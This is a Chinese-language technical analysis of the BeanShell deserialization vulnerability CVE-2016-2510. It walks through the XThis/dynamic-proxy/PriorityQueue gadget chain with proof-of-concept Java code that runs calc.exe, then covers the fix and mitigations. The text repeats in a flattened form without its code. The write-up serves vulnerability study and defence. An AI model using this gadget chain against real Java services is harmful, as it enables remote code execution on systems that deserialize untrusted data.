Beanshell 反序列化分析(CVE-2016-2510)
字数 1559 2025-08-22 12:23:41

BeanShell 反序列化漏洞分析(CVE-2016-2510)

1. 漏洞概述

BeanShell 是一个轻量级的Java脚本解释器,能够执行标准的Java语法并扩展脚本语言特性。CVE-2016-2510是BeanShell中的一个反序列化漏洞,允许攻击者通过精心构造的序列化数据执行任意代码。

2. 受影响版本

  • org.beanshell:bsh 2.0b5及以下版本

3. 漏洞原理

3.1 BeanShell基本功能

BeanShell可以通过Interpreter类执行Java代码:

Interpreter interpreter = new Interpreter();
interpreter.eval("int a = 3; int b = 4; int sum = a + b; System.out.println(sum);");

3.2 漏洞利用链

漏洞利用结合了Java动态代理和PriorityQueue的反序列化特性:

  1. 构造恶意的BeanShell脚本作为Comparator实现
  2. 通过动态代理将XThis的InvocationHandler封装为Comparator
  3. 将Comparator设置到PriorityQueue中
  4. 序列化/反序列化PriorityQueue时触发代码执行

3.3 关键利用代码分析

3.3.1 Payload构造

String payload = "compare(Object foo, Object bar) {" +
    "new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();" +
    "return new Integer(1);" +
    "}";
Interpreter i = new Interpreter();
i.eval(payload);

这段代码定义了一个compare方法,当被调用时会执行命令并返回1。

3.3.2 动态代理部分

XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator)Proxy.newProxyInstance(
    Comparator.class.getClassLoader(), 
    new Class[]{Comparator.class}, 
    handler);

这部分通过动态代理将XThis的invocationHandler封装为Comparator接口的实现。

3.3.3 PriorityQueue构造

PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

设置PriorityQueue的初始状态,确保反序列化时能触发比较操作。

3.4 触发流程

  1. 反序列化PriorityQueue时调用readObject
  2. readObject调用heapify方法重建堆结构
  3. heapify调用siftDown方法
  4. siftDown调用siftDownUsingComparator方法
  5. siftDownUsingComparator调用我们注入的compare方法
  6. compare方法中的恶意代码被执行

4. 技术细节分析

4.1 XThis和动态代理

XThis实现了InvocationHandler接口,当通过代理对象调用方法时:

  1. 调用转发到InvocationHandler的invoke方法
  2. XThis的invoke方法最终调用invokeImpl
  3. 从而执行我们在BeanShell中定义的compare方法

4.2 PriorityQueue设置细节

设置queuesize字段的原因:

  1. size必须≥2,否则heapify中的循环不会执行:

    for (int i = (size >>> 1) - 1; i >= 0; i--)
    

    当size=2时,i=0,可以进入循环

  2. queue需要至少两个元素,否则在序列化时会抛出数组越界异常

4.3 compare方法返回值设计

compare方法返回1的原因:

if (comparator.compare(x, (E) c) <= 0)
    break;

返回1确保比较结果>0,使堆调整逻辑能够继续执行

5. 漏洞修复

修复方式:移除了InvocationHandler的序列化支持,使得:

  1. comparator无法被序列化
  2. 导致包含恶意comparator的PriorityQueue也无法被序列化

6. 防护措施

  1. 升级BeanShell到最新版本
  2. 避免反序列化不可信数据
  3. 使用Java安全管理器限制敏感操作
  4. 使用白名单机制验证反序列化的类

7. 相关技术扩展

7.1 Java动态代理机制

动态代理是此漏洞利用的关键,它允许在运行时创建接口的代理实例,将所有方法调用转发到InvocationHandler。

7.2 PriorityQueue反序列化

PriorityQueue在反序列化时会重建堆结构,这一特性被用来触发比较操作。

7.3 Java反序列化漏洞模式

此漏洞是典型的"反序列化+动态代理"利用模式,类似的漏洞还有Apache Commons Collections等。

BeanShell 反序列化漏洞分析(CVE-2016-2510) 1. 漏洞概述 BeanShell 是一个轻量级的Java脚本解释器,能够执行标准的Java语法并扩展脚本语言特性。CVE-2016-2510是BeanShell中的一个反序列化漏洞,允许攻击者通过精心构造的序列化数据执行任意代码。 2. 受影响版本 org.beanshell:bsh 2.0b5及以下版本 3. 漏洞原理 3.1 BeanShell基本功能 BeanShell可以通过 Interpreter 类执行Java代码: 3.2 漏洞利用链 漏洞利用结合了Java动态代理和PriorityQueue的反序列化特性: 构造恶意的BeanShell脚本作为Comparator实现 通过动态代理将XThis的InvocationHandler封装为Comparator 将Comparator设置到PriorityQueue中 序列化/反序列化PriorityQueue时触发代码执行 3.3 关键利用代码分析 3.3.1 Payload构造 这段代码定义了一个compare方法,当被调用时会执行命令并返回1。 3.3.2 动态代理部分 这部分通过动态代理将XThis的invocationHandler封装为Comparator接口的实现。 3.3.3 PriorityQueue构造 设置PriorityQueue的初始状态,确保反序列化时能触发比较操作。 3.4 触发流程 反序列化PriorityQueue时调用 readObject readObject 调用 heapify 方法重建堆结构 heapify 调用 siftDown 方法 siftDown 调用 siftDownUsingComparator 方法 siftDownUsingComparator 调用我们注入的 compare 方法 compare 方法中的恶意代码被执行 4. 技术细节分析 4.1 XThis和动态代理 XThis实现了InvocationHandler接口,当通过代理对象调用方法时: 调用转发到InvocationHandler的invoke方法 XThis的invoke方法最终调用invokeImpl 从而执行我们在BeanShell中定义的compare方法 4.2 PriorityQueue设置细节 设置 queue 和 size 字段的原因: size 必须≥2,否则 heapify 中的循环不会执行: 当size=2时,i=0,可以进入循环 queue 需要至少两个元素,否则在序列化时会抛出数组越界异常 4.3 compare方法返回值设计 compare方法返回1的原因: 返回1确保比较结果>0,使堆调整逻辑能够继续执行 5. 漏洞修复 修复方式:移除了InvocationHandler的序列化支持,使得: comparator无法被序列化 导致包含恶意comparator的PriorityQueue也无法被序列化 6. 防护措施 升级BeanShell到最新版本 避免反序列化不可信数据 使用Java安全管理器限制敏感操作 使用白名单机制验证反序列化的类 7. 相关技术扩展 7.1 Java动态代理机制 动态代理是此漏洞利用的关键,它允许在运行时创建接口的代理实例,将所有方法调用转发到InvocationHandler。 7.2 PriorityQueue反序列化 PriorityQueue在反序列化时会重建堆结构,这一特性被用来触发比较操作。 7.3 Java反序列化漏洞模式 此漏洞是典型的"反序列化+动态代理"利用模式,类似的漏洞还有Apache Commons Collections等。